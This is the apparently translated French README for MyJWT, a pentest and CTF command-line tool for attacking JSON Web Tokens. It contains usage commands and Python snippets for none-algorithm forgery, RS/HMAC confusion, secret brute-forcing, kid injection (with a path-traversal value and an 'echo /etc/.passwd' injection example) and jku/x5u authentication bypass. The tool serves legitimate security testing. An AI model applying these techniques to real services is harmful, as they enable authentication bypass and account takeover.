
Un cli pour le craquage et le test de vulnérabilités sur les Json Web Token(JWT)
Cet outil en ligne de commande est destiné aux pentesteurs, aux joueurs de CTF ou aux développeurs.
Vous pouvez modifier votre jwt, le signer, injecter, etc.
Consultez la Documentation pour plus d'informations.
Si vous rencontrez des problèmes ou avez des améliorations, ouvrez un ticket. Je répondrai dès que possible.
Profitez-en :)
La documentation est disponible à l'adresse http://myjwt.readthedocs.io
Pour installer myjwt, utilisez simplement pip :
pip install myjwt
Pour exécuter myjwt à partir d'une image Docker, exécutez :
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# monter un volume pour la liste de mots
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# Sur Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
Pour installer myjwt à partir de git :
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
Pour installer myjwt sur BlackArch :
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
Options:
--version Show the version and exit.
--full-payload TEXT New payload for your jwt.Json format Required.
-h, --add-header TEXT Add a new key, value to your jwt header, if key
is present old value will be replaced.Format:
key=value.
-p, --add-payload TEXT Add a new key, value to your jwt payload, if
key is present old value will be
replaced.Format: key=value.
--sign TEXT Sign Your jwt with key given.
--verify TEXT verify your key.
-none, --none-vulnerability Check None Alg vulnerability.
--hmac PATH Check RS/HMAC Alg vulnerability.
--bruteforce PATH Bruteforce to guess the secret used to sign the
token.
-r, --crack TEXT regex to iterate all string possibilities to
guess the secret used to sign the token.
--kid TEXT Kid Injection sql
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
--crt TEXT For x5cHeader, force crt file
--key TEXT For jku or x5c Header, force private key to
your key file
--file TEXT For jku Header and x5u Header, force file name
--print Print Decoded JWT
-u, --url TEXT Url to send your jwt.
-m, --method TEXT Method use for send request to url.(Default
GET).
-d, --data TEXT Data send to your url.Format: key=value. if
value = MY_JWT value will be replace by new
jwt.
-c, --cookies TEXT Cookies to send to your url.Format: key=value.
if value = MY_JWT value will be replace by new
jwt.
--help Show this message and exit.
| Option | Type | Exemple | Aide |
|---|---|---|---|
| --sign | texte | maclésecrète | Signer votre jwt avec votre clé |
| --verify | texte | maclésecrète | Vérifier votre clé. |
myjwt VOTRE_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
Exemple complet ici : 01-modify-jwt
myjwt VOTRE_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
Exemple complet ici : 02-none-vulnerability
myjwt VOTRE_JWT --sign VOTRE_CLÉ
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
Exemple complet ici : 03-sign-key
myjwt VOTRE_JWT --bruteforce CHEMIN
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
Exemple complet ici : 04-brute-force
myjwt VOTRE_JWT --crack EXPRESSION_RÉGULIÈRE
myjwt VOTRE_JWT --hmac FICHIER
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
Exemple complet ici : 05-rsa-hmac-confusion
myjwt VOTRE_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
Exemple complet ici : 06-kid-injection
myjwt VOTRE_JWT -u VOTRE_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt VOTRE_JWT --jku VOTRE_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MONIP_PUBLIC")
print(jwt)
Exemple complet ici : 07-jku-bypass
myjwt VOTRE_JWT --x5u VOTRE_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MONIP_PUBLIC")
print(jwt)
Exemple complet ici : 08-x5u-bypass
Consultez les versions GitHub. La dernière est disponible à l'adresse https://github.com/mBouamama/MyJWT/releases/latest
make lintmake testLe journal est devenu assez long. Il a été déplacé dans son propre fichier.
Voir CHANGES.
| Option | Type | Exemple | Aide |
|---|
| --ful-payload | JSON | {"user": "admin"} | Nouvelle charge utile pour votre jwt. |
| -h, --add-header | clé=valeur | utilisateur=admin | Ajouter une nouvelle clé et sa valeur à l'en-tête de votre jwt. Si la clé existe, l'ancienne valeur sera remplacée. |
| -p, --add-payload | clé=valeur | utilisateur=admin | Ajouter une nouvelle clé et sa valeur à la charge utile de votre jwt. Si la clé existe, l'ancienne valeur sera remplacée. |
| Option | Type | Exemple | Aide |
|---|
| -none, --none-vulnerability | Rien | Vérifier la vulnérabilité None Alg. | |
| --hmac | CHEMIN | ./public.pem | Vérifier la vulnérabilité RS/HMAC Alg, et signer votre jwt avec la clé publique. |
| --bruteforce | CHEMIN | ./wordlist/big.txt | Forcer brutalement pour deviner le secret utilisé pour signer le jeton. Utilisez un fichier texte contenant tous les mots de passe (1 par ligne) |
| --crack | EXPRESSION RÉGULIÈRE | "[a-z]{4}" | Expression régulière pour itérer sur toutes les chaînes possibles afin de deviner le secret utilisé pour signer le jeton. |
| --kid | texte | "00; echo /etc/.passwd" | Injection SQL Kid |
| --jku | texte | MÔNIPPUBLIC | En-tête Jku pour contourner l'authentification. Utilisez --file pour changer le nom du fichier jwks, et --key pour utiliser votre propre clé privée pem |
| --x5u | texte | MÔNIPPUBLIC | Pour l'en-tête jku ou x5c, utilisez --file pour changer le nom du fichier jwks, et --key pour utiliser votre propre clé privée pem |
| Option | Type | Exemple | Aide |
|---|
| -u, --url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | URL où envoyer votre jwt. |
| -m, --method | texte | POST | Méthode utilisée pour envoyer la requête à l'URL (défaut : GET). |
| -d, --data | clé=valeur | secret=MY_JWT | Données envoyées à votre URL. Format : clé=valeur. Si valeur = MY_JWT, la valeur sera remplacée par votre nouveau jwt. |
| -c, --cookies | clé=valeur | secret=MY_JWT | Cookies à envoyer à votre URL. Format : clé=valeur. Si valeur = MY_JWT, la valeur sera remplacée par votre nouveau jwt. |
| Option | Type | Exemple | Aide |
|---|
| --crt | CHEMIN | ./public.crt | Pour l'en-tête x5c, forcer le fichier crt |
| --key | CHEMIN | ./private.pem | Pour l'en-tête jku ou x5c, forcer la clé privée à partir de votre fichier de clé |
| --file | texte | monfichier | Pour l'en-tête jku, forcer le nom du fichier sans extension .json |
| Rien | Afficher le JWT décodé | ||
| --help | Rien | Afficher le message d'aide et quitter. | |
| --version | Rien | Afficher la version de Myjwt |